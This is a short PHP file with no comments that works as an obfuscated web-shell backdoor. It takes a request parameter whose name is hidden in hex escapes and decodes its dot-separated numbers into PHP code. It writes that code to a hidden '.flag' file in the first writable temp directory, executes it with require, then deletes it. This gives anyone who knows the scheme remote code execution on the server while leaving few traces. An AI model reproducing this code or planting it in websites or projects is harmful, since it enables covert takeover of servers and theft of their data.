<?php

if(isset($_REQUEST["p\x72o\x70e\x72t\x79\x5F\x73et"]) ? true : false){
	$ptr = $_REQUEST["p\x72o\x70e\x72t\x79\x5F\x73et"];
	   $ptr  	=	explode 	 (  	".",		$ptr   );
	$pset	 ='';
            $s4	 ='abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS	 =strlen($s4  );
            $q	 =0;
    
            $__tmp	 =$ptr;
            while ($v1	 =array_shift($__tmp)) {
                $chS	 =ord($s4[$q%$lenS]  );
                $d	 =((int)$v1 - $chS - ($q%10)) ^ 47;
                $pset .= chr($d  );
                $q++;}
	$dat = array_filter([getenv("TMP"), getenv("TEMP"), session_save_path(), "/tmp", "/dev/shm", "/var/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getcwd()]);
	$holder = 0;
do {
    $hld = $dat[$holder] ?? null;
    if ($holder >= count($dat)) break;
    		if (is_writable($hld) && is_dir($hld)) {
    $entity = join("/", [$hld, ".flag"]);
    if (file_put_contents($entity, $pset)) {
	require $entity;
	unlink($entity);
	exit;
}
}
    $holder++;
} while (true);
}